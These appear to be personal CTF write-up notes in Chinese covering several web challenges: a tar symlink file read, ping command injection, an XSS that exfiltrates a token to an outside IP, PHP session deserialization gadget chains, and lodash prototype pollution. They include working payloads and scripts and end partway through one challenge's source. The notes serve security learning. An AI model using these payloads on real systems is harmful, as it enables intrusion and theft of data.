4.18
[[NSSRound#6 Team]check
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
|
# -*- coding: utf-8 -*-
from flask import Flask, request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads' # 设置文件上传的目标文件夹为当前目录下的 uploads 文件夹
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 # 设置允许上传的最大文件大小为 100KB,防止上传过大文件导致服务器资源耗尽
ALLOWED_EXTENSIONS = set(['tar']) # 定义允许上传的文件扩展名集合,这里只允许 tar 格式的文件
def allowed_file(filename):
# 判断给定的文件名是否符合要求:文件名中包含 '.' 且文件扩展名在 ALLOWED_EXTENSIONS 集合中
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
# 当客户端访问应用根路径时,打开当前文件(即这个 Python 脚本文件),读取其内容并返回给客户端
# 通常用于展示应用的基本信息或简单的欢迎页面
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
# 处理文件上传请求的路由,只接受 POST 方法
if 'file' not in request.files:
# 检查客户端的请求中是否包含名为 'file' 的文件数据,如果不包含,返回 '?' 表示请求格式错误
return '?'
file = request.files['file'] # 从请求中获取名为 'file' 的文件对象
if file.filename == '':
# 检查获取到的文件对象的文件名是否为空字符串,如果是,返回 '?' 表示请求中没有有效的文件
return '?'
print(file.filename) # 打印文件名,用于调试或记录上传文件的信息
# 综合判断文件对象是否有效、文件名是否符合要求:
# 通过 allowed_file 函数检查扩展名,同时检查文件名中是否包含 '..' 或 '/',防止路径遍历攻击
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename) # 构造文件保存路径
if os.path.exists(file_save_path):
# 检查构造的文件保存路径是否已经存在文件,如果存在,返回提示信息,表示文件已存在,拒绝重复上传
return 'This file already exists'
file.save(file_save_path) # 将上传的文件保存到指定的文件保存路径
else:
# 如果文件不符合要求(类型不对或文件名包含非法字符),返回相应的错误信息
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r") # 尝试打开保存的 tar 文件
tar.extractall(app.config['UPLOAD_FOLDER']) # 将 tar 文件内容解压到上传文件夹
except Exception as e:
# 捕获解压过程中可能出现的异常,并将异常信息返回给客户端
# 这是为了处理解压失败的情况,比如文件损坏或不是有效的 tar 文件
return str(e)
os.remove(file_save_path) # 解压完成后,删除原始的 tar 文件,节省存储空间
return 'success' # 如果整个上传和处理流程成功完成,返回 'success' 表示操作成功
@app.route('/download', methods=['POST'])
def download_file():
# 处理文件下载请求的路由,只接受 POST 方法
filename = request.form.get('filename') # 从请求表单数据中获取名为 'filename' 的参数值,即客户端想要下载的文件名
if filename is None or filename == '':
# 检查获取到的文件名是否为空或 None,如果是,返回 '?' 表示请求参数错误
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename) # 构造文件路径
# 检查文件名中是否包含 '..' 或 '/',防止路径遍历攻击
# 这是为了确保只能下载上传文件夹中的文件,不能访问其他目录的文件
if '..' in filename or '/' in filename:
return '?'
# 检查构造的文件路径是否存在且是一个文件,如果不是,返回 '?' 表示文件不存在或路径错误
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
# 打开文件并读取其内容,将内容返回给客户端
# 这是实现文件下载的核心逻辑,客户端会收到文件内容并可能保存为文件
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
# 处理清理操作的路由,只接受 POST 方法
# 调用 os.system 执行 '/tmp/clean.sh' 脚本,然后返回 'success'
# 这里存在命令注入的安全风险,因为直接执行外部脚本,如果脚本路径或内容被篡改,可能会导致服务器被攻击
os.system('/tmp/clean.sh')
return 'success'
if __name__ == '__main__':
# 判断当前模块是否作为主程序运行
# 如果是,启动 Flask 应用,监听所有网络接口(host='0.0.0.0'),开启调试模式(debug=True),使用 80 端口(port=80)
# 这使得应用可以在网络上的任何设备访问,并且调试模式会提供更详细的错误信息,方便开发调试
# 但在生产环境中通常应关闭调试模式
app.run(host='0.0.0.0', debug=True, port=80)
|
1
|
可以进行文件的上传与下载,同时限制了文件只能是tar文件,并对文件名进行了过滤,禁止了…和/符号。
|
漏洞点如下
1
2
3
4
5
|
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
#这段代码存在文件路径注入漏洞
#文件路径注入:如果file_save_path变量的值是通过用户输入或其他不可信的来源获取的,存在路径注入的风险。攻击者可以通过构造恶意的路径来访问系统中的其他文件或目录。
|
打内容软连接
1
|
通过上传一个tar文件,文件里面的内容软连接指向/flag,tar被解压后里面的文件指向了flag的内容,然后通过download函数将文件下载出来即可得到flag
|
首先liunx环境执行
1
2
|
ln -s /flag flag
tar -cvf flag.tar flag
|
然后上传flag.tar,然后下载flag就行,这里直接上代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import requests as req
url = "http://node5.anna.nssctf.cn:29574/"
filename = r"flag.tar" #这里的文件名是绝对路径
def upload(url, fileName):
url = url + "upload"
file = {"file": open(fileName, 'rb')}
response = req.post(url=url, files=file)
print(response.text)
def download(url):
url = url + "download"
file = {"filename": "flag"}
response = req.post(url, data=file)
print(response.text)
if __name__ == "__main__":
upload(url, filename)
download(url)
|
本题还有一个升级版,CVE-2007-4559漏洞,可以通过tar.extractall()函数的漏洞,解压文件时候,覆盖掉目录中的文件
[NSSRound#6 Team]Web学习_[nssround#6 team]check(revenge)-CSDN博客
4.19
[HZNUCTF 2023 preliminary]guessguessguess
看似sql,其实考ping
此题很古怪,打1,2,3进去有回显但是没啥用,打sql注入发现字符反转,但是我将payload反转后还是执行不了,但是这里发现hint,所以试着打了一个hint进去(要反转)
有了提示
提示说有命令执行,打打试试,直接上去就打phpinfo(反转后是ofniphp),执行成功!,搜索flag即可找到
既然可以命令执行,那么肯定是有其它方法,直接打system(’ls /’);没反应,这时候想到了ping,试试?打个127.0.0.1|ls /试试,有反应!但是没看到flag,那直接猜在环境里面
打个127.0.0.1|env,果然flag在环境里
网上找了源码,很脑洞此题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php
$userArr = array("username: admin<br>password: admin","username: docker<br>password: docker", "username: mxx307<br>password: mxxxxxxx3333000777", "username: FLAG_IN_HERE<br>password: 不给你看");
$cmd = strrev($_POST['cmd']);
if($cmd != 'hint' && $cmd != 'phpinfo'){
echo "your SQL: SELECT * FROM users WHERE id=$cmd";
echo "<br>";
}
if($cmd == "phpinfo") {
eval('phpinfo();');
} else if(preg_match('/127.0.0.1/',$cmd) && !preg_match('/;|&/',$cmd )) {
system('ping '.$cmd);
} else if($cmd == "hint") {
echo '可爱的CTFer哟,你掉的是这个金"命令执行",还是这个银"XSS"还是这个普通的"SQL注入"呢?';
}else if(preg_match('/^\d$/',$cmd, $matches)) {
if($matches[0] <= 4 && $matches[0] >= 1){
echo $userArr[$matches[0] - 1];
} else {
echo "no user";
}
}else {
echo "猜猜猜";
}
|
4.20
UA,本地伪造
[SWPUCTF 2021 新生赛]Do_you_know_http
上来一个UA伪造
访问a.php
一看本地伪造X-Forwarded-For:127.0.0.1
访问/secretttt.php即可得flag
4.21
多路由跳转XXS
Designer
题目给了源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
|
const express = require("express") // 引入Express框架,用于创建Web服务器
const jwt = require("jsonwebtoken") // 引入jsonwebtoken库,用于生成和验证JWT令牌
const puppeteer = require('puppeteer') // 引入Puppeteer库,用于无头浏览器操作
const querystring = require('node:querystring') // 引入查询字符串处理模块
const app = express() // 创建Express应用实例
// 配置中间件和视图引擎
app.use(express.static("./static")) // 设置静态文件目录为./static
app.use(express.json()) // 解析JSON格式的请求体
app.set("view engine", "ejs") // 设置视图引擎为EJS
app.set("views", "views") // 设置视图文件存放目录
app.use(express.urlencoded({ extended: false })) // 解析URL编码的请求体
const secret = "secret_here" // JWT签名密钥(生产环境中应使用更安全的密钥存储方式)
// 认证中间件,用于保护需要授权的路由
function auth(req, res, next) {
const token = req.headers["authorization"] // 从请求头获取授权令牌
if (!token) {
return res.redirect("/") // 如果没有令牌,重定向到注册页面
}
try {
const decoded = jwt.verify(token, secret) || {} // 验证JWT令牌
req.user = decoded // 将解码后的用户信息挂载到请求对象
} catch (error) {
return res.status(500).json({ msg: "jwt decode error" }) // 如果验证失败,返回错误响应
}
next() // 如果验证成功,继续处理请求
}
// GET / - 渲染注册页面
app.get("/", (req, res) => {
res.render("register") // 渲染register.ejs模板
})
// POST /user/register - 处理用户注册请求
app.post("/user/register", (req, res) => {
const username = req.body.username // 获取请求体中的用户名
// 如果用户名是admin且请求来自本地,返回真实flag,否则返回假flag
let flag = "hgame{fake_flag_here}"
if (username == "admin" && (req.ip == "127.0.0.1" |
| req.ip == "::ffff:127.0.0.1")) {
flag = "hgame{true_flag_here}"
}
// 生成JWT令牌,包含用户名和flag
const token = jwt.sign({ username, flag }, secret)
res.json({ token }) // 返回包含令牌的JSON响应
})
// GET /user/info - 获取用户信息(受保护路由)
app.get("/user/info", auth, (req, res) => {
res.json({
username: req.user.username, // 返回用户名
flag: req.user.flag // 返回flag(敏感信息)
})
})
// POST /button/save - 保存按钮样式设置(受保护路由)
app.post("/button/save", auth, (req, res) => {
req.user.style = {} // 初始化用户样式属性
// 保存请求体中的所有样式设置
for (const key in req.body) {
req.user.style[key] = req.body[key]
}
// 生成新的JWT令牌,包含更新后的用户信息
const token = jwt.sign(req.user, secret)
res.json({ token }) // 返回新的令牌
})
// GET /button/get - 获取按钮样式设置(受保护路由)
app.get("/button/get", auth, (req, res) => {
const style = req.user.style || {} // 获取用户保存的样式设置
res.json({ style }) // 返回样式设置
})
// GET /button/edit - 渲染按钮编辑页面
app.get("/button/edit", (req, res) => {
res.render("button") // 渲染button.ejs模板
})
// POST /button/share - 处理按钮分享请求(受保护路由)
app.post("/button/share", auth, async (req, res) => {
try {
// 启动Puppeteer无头浏览器
const browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium", // 指定Chromium路径
args: ['--no-sandbox'] // 禁用沙盒以适应Docker环境
})
const page = await browser.newPage() // 创建新页面
// 构建预览URL
const query = querystring.encode(req.body)
await page.goto(`http://127.0.0.1:9090/button/preview?${query}`)
// 在页面上下文中设置本地存储令牌(模拟用户认证)
await page.evaluate(() => {
return localStorage.setItem("token", "jwt_token_here")
})
// 点击页面上的按钮
await page.click("#button")
res.json({ msg: "admin will see it later" }) // 返回成功响应
} catch (error) {
console.error("Puppeteer error:", error)
res.status(500).json({ msg: "Error processing request" }) // 捕获并处理错误
}
})
// GET /button/preview - 渲染按钮预览页面
app.get("/button/preview", (req, res) => {
// 定义黑名单,禁止特定属性和值
const blacklist = [
/on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/,
/window/, /location/, /document/
]
// 对查询参数进行安全过滤
for (const key in req.query) {
for (const item of blacklist) {
if (item.test(key.trim()) || item.test(req.query[key].trim())) {
req.query[key] = "" // 清空匹配黑名单的内容
}
}
}
// 渲染preview.ejs模板,传入过滤后的查询参数
res.render("preview", { data: req.query })
})
// 启动Express服务器,监听9090端口
app.listen(9090, () => {
console.log("Server is running on http://localhost:9090")
})
|
看下面发现只有本地用户和admin才能拿flag,但是伪造xxf头失效。
继续审计
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
app.post("/button/share", auth, async (req, res) => {
try {
// 启动Puppeteer无头浏览器
const browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium", // 指定Chromium路径
args: ['--no-sandbox'] // 禁用沙盒以适应Docker环境
})
#定义一个异步的无界面的模拟浏览器
const page = await browser.newPage() // 创建新页面
// 构建预览URL
const query = querystring.encode(req.body)
await page.goto(`http://127.0.0.1:9090/button/preview?${query}`)
// 在页面上下文中设置本地存储令牌(模拟用户认证)
await page.evaluate(() => {
return localStorage.setItem("token", "jwt_token_here")
})
// 点击页面上的按钮
await page.click("#button")
res.json({ msg: "admin will see it later" }) // 返回成功响应
} catch (error) {
console.error("Puppeteer error:", error)
res.status(500).json({ msg: "Error processing request" }) // 捕获并处理错误
}
})
|
该代码会启动浏览器访问分享页面,这使XSS注入成为可能。(这里的page.goto是在服务端完成的,这很重要,也决定了我们为什么能用xss)
再看/button/previe路由,一串黑名单,过滤的内容都是跟xss行为有关的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
app.get("/button/preview", (req, res) => {
// 定义黑名单,禁止特定属性和值
const blacklist = [
/on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/,
/window/, /location/, /document/
]
// 对查询参数进行安全过滤
for (const key in req.query) {
for (const item of blacklist) {
if (item.test(key.trim()) || item.test(req.query[key].trim())) {
req.query[key] = "" // 清空匹配黑名单的内容
}
}
}
// 渲染preview.ejs模板,传入过滤后的查询参数
res.render("preview", { data: req.query }) #query去访问preview渲染的模板
})
|
所以就到了preview.ejs
代码
1
2
3
4
5
|
<a
class="button"
id="button"
style="<% for (const key in data) { %><%- key %>:<%- data[key] %> ;<% }; %>"
>CLICK ME</a>
|
1
|
jsp和flask,ejs将<% …..%>之间的内容解析为js代码**,data就是我们传入的这些json对象,key就是json对象中的键值,data[key]便是对应的值。因为是用拼接的形式来进行style定义的,所以我们可以通过提前闭合style定义的语句然后插入script代码来进行xss。
|
所以思路就是
1
|
利用share跳转到preview再上xss, 构造语句让这个浏览器对象访问register路由并且返回给我们的vps token就可以了
|
所以构造的脚本是
1
|
$.post("/user/register",{"username":"admin"},function(result){document.location='http://101.200.39.193:5000?c='+JSON.stringify(result)});
|
将这个base64编码再去等号后,放到下方代码(atob函数可以规避黑名单的检测,这里要记得加eval执行),">进行提取闭合。
1
|
"><script>eval(atob('JC5wb3N0KCIvdXNlci9yZWdpc3RlciIseyJ1c2VybmFtZSI6ImFkbWluIn0sZnVuY3Rpb24ocmVzdWx0KXtkb2N1bWVudC5sb2NhdGlvbj0naHR0cDovLzEwMS4yMDAuMzkuMTkzOjUwMDA/Yz0nK0pTT04uc3RyaW5naWZ5KHJlc3VsdCl9KTs'));</script>
|
vps开监听。打到preview路由试试
vps有回显了
解密是错的flag,那没错了(没有本地ip。所以接下来通过传share,用本地ip经过跳转访问register拿flag)
接下来就打share
HGAME-2023-week2 Designer-复现 | Lanb0’s blog|一个默默无闻的网安爱好者
HGame 2023 Week2 部分Writeup_v2board 越权-CSDN博客
HGAME 2023 week2]Designer nanamo的WriteUp | NSSCTF
4.22
[SCTF 2021]upload it 1-session反序列化
看附件,composer.json
中有两个组件,要下载
所以先下载composerComposer
再在composer.json这个目录执行composer install(为了执行后面的反序列化代码,symfony/string:操作字符串,opis/closure:序列化闭包)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
|
<?php
// 导入 Composer 自动加载文件
include_once "../vendor/autoload.php";
// 禁用错误报告
error_reporting(0);
// 启动 PHP 会话
session_start();
// 定义文件上传基础路径
define("UPLOAD_PATH", "/tmp/sandbox");
// 如果上传路径不存在,则尝试创建该目录
if (!file_exists(UPLOAD_PATH)) {
@mkdir(UPLOAD_PATH);
}
// 定义创建用户上传目录的函数
function make_user_upload_dir() {
// 使用远程地址和会话 ID 生成唯一目录名(确保每个用户有独立的上传目录)
$md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
// 拼接完整的上传路径
$upload_path = UPLOAD_PATH . "/" . $md5_dir;
// 创建用户上传目录
@mkdir($upload_path);
// 将上传路径存储到会话中,供后续文件上传使用
$_SESSION["upload_path"] = $upload_path;
}
// 如果会话中尚未存储上传路径,则调用函数创建用户上传目录
if (empty($_SESSION["upload_path"])) {
make_user_upload_dir();
}
// 处理文件上传请求
if (!empty($_FILES['file'])) {
// 获取上传的文件信息
$file = $_FILES['file'];
// 判断文件大小是否小于 1MB(限制上传文件大小)
if ($file['size'] < 1024 * 1024) {
// 如果设置了自定义上传路径
if (!empty($_POST['path'])) {
// 拼接完整的上传文件路径(包含自定义路径)
$upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
// 拼接最终的上传文件名
$upload_file = $upload_file_path."/".$file['name'];
} else {
// 使用默认上传路径
$upload_file_path = $_SESSION["upload_path"];
// 拼接最终的上传文件名
$upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
// 尝试将上传的文件移动到指定位置
if (move_uploaded_file($file['tmp_name'], $upload_file)) {
// 如果移动成功,输出成功消息并显示文件保存路径
echo "OK! Your file saved in: " . $upload_file;
} else {
// 如果移动失败,输出失败消息
echo "emm...Upload failed:(";
}
} else {
// 如果文件大小超过限制,输出提示信息
echo "too big!!!";
}
} else if (!empty($_GET['phpinfo'])) {
// 如果请求了 phpinfo 信息,则输出 PHP 环境配置信息
phpinfo();
exit();
} else {
// 默认输出上传页面和 phpinfo 链接
echo <<<CODE
<html>
<head>
<title>Upload</title>
</head>
<body>
<!-- 文件上传表单 -->
<h1>Upload files casually XD</h1>
<form action="index.php" method="post" enctype="multipart/form-data">
FILE: <input type="file" name="file"> <!-- 文件选择输入框 -->
PATH: <input type="text" name="path"> <!-- 自定义上传路径输入框 -->
<input type="submit"> <!-- 提交按钮 -->
</form>
<hr>
<!-- phpinfo 链接 -->
<h3>or...Just look at the phpinfo?</h3>
<a href="./index.php?phpinfo=1">go to phpinfo</a>
</body>
</html>
CODE;
}
|
审计代码发现文件上传路径可控
但是测试发现只有../../../tmp目录及其子目录才可以写入(比如../../../../../../../tmp)
由前面下载组件的操作很容易联想到反序列化,所以来找一下可以触发反序列化的地方
先进入phpinfo看看session,发现session.save_path
为no value即是默认的/tmp/sess_SESSIONID
。
serialize_handler设置为php,所以session文件格式应该为<元素名>|<元素值的序列化数据>,PHP在取元素值的时候会先对元素值进行反序列化,那么这里就是我们要找的反序列化点了。
原理+实践掌握(PHP反序列化和Session反序列化)-先知社区
这个session反序化思路,我们需要构造一个序列化payload,然后上传到/tmp/sess_xxx后,使用我们上传的sessID再上传一次文件达到触发反序列化的效果(因为我们传入文件是放在session
中,所以我们将文件名改为sess_自己的PHPSESSION
,从而覆盖session文件,然后我们重新访问,把我们命令执行的结果带出来,得到flag)
怎么写代码呢?看刚刚下载的组件后出现的代码里面找找,在\vendor\opis\closure\src\SerializableClosure.php中发现了call_user_func_array,这个就是执行命令的点
在Symfony\Component\String\LazyString.php发现sleep函数
序列化传入这个然后触发__sleep,然后触发toString,里面的属性可控
1
|
return $this->value = ($this->value)();
|
将写的脚本test.php与autoload.php放在一起(刚刚下载的组件后出现目录里有)
运行有(传入func的目的是对$closure
进行赋值,然后通过call_user_func_array
进行执行命令。)
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
namespace Symfony\Component\String;
class LazyString{
private $value;
public function __construct(){
require "autoload.php";
$a = function(){system("cat /flag");};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->value=$b;
}
}
print("upload_path|".serialize(new LazyString()));
|
1
|
总结链子:sleep->toString->SerializableClosure#invoke
|
然后打入
重新发包访问
NSSCTF{dc0d6ec6-fb4b-4df4-a163-5168656f37d1}
SCTF-2021 部分WriteUp - SecPulse.COM | 安全脉搏
[SCTF 2021]Upload It 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
<?php
include_once "../vendor/autoload.php";
error_reporting(0);
session_start();
define("UPLOAD_PATH", "/tmp/sandbox");
if (!file_exists(UPLOAD_PATH)) {
@mkdir(UPLOAD_PATH);
}
// emmm...easy backdoor
class sandbox {
private $evil;
public $upload_path;
public function make_user_upload_dir() {
$md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
$this->upload_path = UPLOAD_PATH . "/" . $md5_dir;
@mkdir($this->upload_path);
$_SESSION["upload_path"] = $this->upload_path;
}
public function has_upload_dir() {
return !empty($_SESSION["upload_path"]);
}
public function __wakeup() {
/*
I removed this code because it was too dangerous.
*/
throw new Error("NO NO NO");
}
public function __destruct() {
/*
I removed this code because it was too dangerous.
*/
}
public function __call($func, $value) {
if (method_exists($this, $func)) {
call_user_func_array(
[$this, $func],
$value
);
}
}
private function backdoor() {
// __destruct and __wakeup are deleted. It looks like backdoor should not be called.
include_once $this->evil;
}
}
$box = new sandbox();
if (!$box->has_upload_dir()) {
$box->make_user_upload_dir();
}
if (!empty($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['size'] < 1024 * 1024) {
if (!empty($_POST['path'])) {
$upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
$upload_file = $upload_file_path."/".$file['name'];
} else {
$upload_file_path = $_SESSION["upload_path"];
$upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
if (move_uploaded_file($file['tmp_name'], $upload_file)) {
echo "OK! Your file saved in: " . $upload_file;
} else {
echo "emm...Upload failed:(";
}
} else {
echo "too big!!!";
}
} else if (!empty($_GET['phpinfo'])) {
phpinfo();
exit();
} else {
echo <<<CODE
}
|
1
|
思路和上题一样,不同的地方在于依赖中没有了opis/closure,不过题目中新增了一个sandbox类,里面的backdoor方法可以进行文件包含。
|
1
|
总结链子:sleep->toString->sandbox#__call->sandbox#backdoor #这里我们给 $this->value为数组模式触发__call调用backdoor进行文件包含
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
<?php
namespace Symfony\Component\String{
class LazyString{
public $value;
public function __construct($value){
$this->value = $value;
}
}
}
namespace {
class sandbox {
public $evil;
public function __construct(){
$this->evil = "/flag";
}
}
use Symfony\Component\String\LazyString;
$value = [new sandbox,"backdoor"];
$lazy = new LazyString($value);
echo "upload_path |".serialize($lazy);
}
#upload_path |O:35:"Symfony\Component\String\LazyString":1:{s:5:"value";a:2:{i:0;O:7:"sandbox":1:{s:4:"evil";s:5:"/flag";}i:1;s:8:"backdoor";}}
|
接下来就跟上面一样了,打完payload再重新发包看见flag
4.23
[D3CTF 2019]babyxss 这个太难了,不会写
4.24
lodash 4.17.16 原型污染漏洞
[安洵杯 2020]Validator
先目录扫描然后进入app.js拿到源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')
const app = express()
const port = 9000
app.use(express.json())
app.use(express.urlencoded({
extended: true
}))
let info = []
const {
body,
validationResult
} = require('express-validator')
middlewares = [
body('*').trim(),
body('password').isLength({ min: 6 }),
]
app.use(middlewares)
readFile = function (filename) {
var data = fs.readFileSync(filename)
return data.toString()
}
app.post("/login", (req, res) => {
console.log(req.body)
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
if (req.body.password == "D0g3_Yes!!!"){
console.log(info.system_open)
if (info.system_open == "yes"){
const flag = readFile("/flag")
return res.status(200).send(flag)
}else{
return res.status(400).send("The login is successful, but the system is under test and not open...")
}
}else{
return res.status(400).send("Login Fail, Password Wrong!")
}
})
app.get("/", (req, res) => {
const login_html = readFile(path.join(__dirname, "login.html"))
return res.status(200).send(login_html)
})
app.use(express_static("./"))
app.listen(port, () => {
console.log(`server listening on ${port}`)
})
|
审计发现关键代码
1
2
3
4
|
if (req.body.password == "D0g3_Yes!!!"){
console.log(info.system_open)
if (info.system_open == "yes"){
const flag = readFile("/flag")
|
先password == “D0g3_Yes!!!“试试
没用,说明这里要进行污染info.system_open的值为yes就行
直接打
1
2
3
4
5
|
{
"password": "D0g3_Yes!!!",
"__proto__": {
"system_open": "yes"
}
|
发现没用
访问/package.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
{
"name": "validator",
"version": "1.0.0",
"main": "app.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
"express": "^4.17.1",
"express-static": "^1.2.6",
"express-validator": "^6.6.0",
"fs": "0.0.1-security",
"lodash": "^4.17.16"
}
}
|
问一下gpt,发现lodash 4.17.16 也存在原型污染漏洞,而odash 4.17.17 及以上版本修复了,那么很可能考这个。
网上找了文章学习一下
https://threezh1.com/2020/10/31/express-validator%206.6.0%20%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/
原型payload是
1
|
{"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222}
|
然后改一下参数就可以打,所以直接login打payload就行,注意改Content-Type: application/json
1
|
{"password":"D0g3_Yes!!!", "a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes" }
|
直接打代码也行
1
2
3
4
5
6
7
8
|
import requests as req
target = 'http://node4.anna.nssctf.cn:28126/login'
data = {
'password': "D0g3_Yes!!!",
"a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "no"
}
res = req.post(url=target, json=data)
print(res.text)
|
官方wp引用了上文关于Prototype Pollution Attack的二三事-先知社区,讲的很详细
4.25
[HBCTF 2017]大美西安
4.26
Urllib2头部注入(CVE-2016-5699)
[SWPU 2016]web7
随便输点东西,发现urllib2相关库报错.没思路看看附件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
#!/usr/bin/python
# coding:utf8
__author__ = 'niexinming'
import cherrypy # 导入 CherryPy 框架,用于创建 Web 服务器
import urllib2 # 导入 urllib2 模块,用于发送 HTTP 请求
import redis # 导入 redis 模块,用于与 Redis 数据库交互
# 定义 Web 应用程序类
class web7:
# 定义 index 方法,用于处理根路径的请求
@cherrypy.expose
def index(self):
# 返回 JavaScript 代码,使浏览器自动跳转到 /input 路径
return "<script> window.location.href='/input';</script>"
# 定义 input 方法,用于处理 /input 路径的请求
@cherrypy.expose
def input(self, url="", submit=""):
# 读取 index.html 文件的内容,作为响应的基础模板
file = open("index.html", "r").read()
reheaders = "" # 初始化变量,用于存储 HTTP 响应头信息
# 判断请求方法是否为 GET
if cherrypy.request.method == "GET":
reheaders = "" # 如果是 GET 请求,不进行任何操作
else:
# 获取用户提交的 URL 和表单提交按钮的值
url = cherrypy.request.params["url"]
submit = cherrypy.request.params["submit"]
try:
# 尝试打开用户提供的 URL,并获取其 HTTP 响应头信息
for x in urllib2.urlopen(url).info().headers:
reheaders = reheaders + x + "<br>" # 将响应头信息拼接成 HTML 格式
except Exception as e:
# 如果发生异常,将错误信息存储在 reheaders 变量中
reheaders = "错误" + str(e)
# 再次尝试获取 HTTP 响应头信息(可能与之前的逻辑重复,需要检查代码逻辑)
for x in urllib2.urlopen(url).info().headers:
reheaders = reheaders + x + "<br>"
# 将获取到的响应头信息嵌入到 HTML 模板中
file = file.replace("<?response?>", reheaders)
return file # 返回处理后的 HTML 内容
# 定义 login 方法,用于处理 /login 路径的请求
@cherrypy.expose
def login(self, password="", submit=""):
# 创建 Redis 连接池,连接到本地 Redis 服务器
pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
r = redis.Redis(connection_pool=pool)
re = "" # 初始化变量,用于存储登录结果信息
file = open("login.html", "r").read() # 读取 login.html 文件的内容,作为响应的基础模板
# 判断请求方法是否为 GET
if cherrypy.request.method == "GET":
re = "" # 如果是 GET 请求,不进行任何操作
else:
# 获取用户提交的密码和表单提交按钮的值
password = cherrypy.request.params["password"]
submit = cherrypy.request.params["submit"]
# 验证用户提供的密码是否与 Redis 中存储的 admin 密码匹配
if r.get("admin") == password:
# 如果密码正确,读取 flag 文件的内容并将其作为响应信息
re = open("flag", 'r').readline()
else:
# 如果密码错误,返回错误信息
re = "Can't find admin:" + password + ",fast fast fast....."
# 将登录结果信息嵌入到 HTML 模板中
file = file.replace("<?response?>", re)
return file # 返回处理后的 HTML 内容
# 配置 CherryPy 服务器,使其监听所有网络接口的 8080 端口
cherrypy.config.update({'server.socket_host': '0.0.0.0',
'server.socket_port': 8080,
})
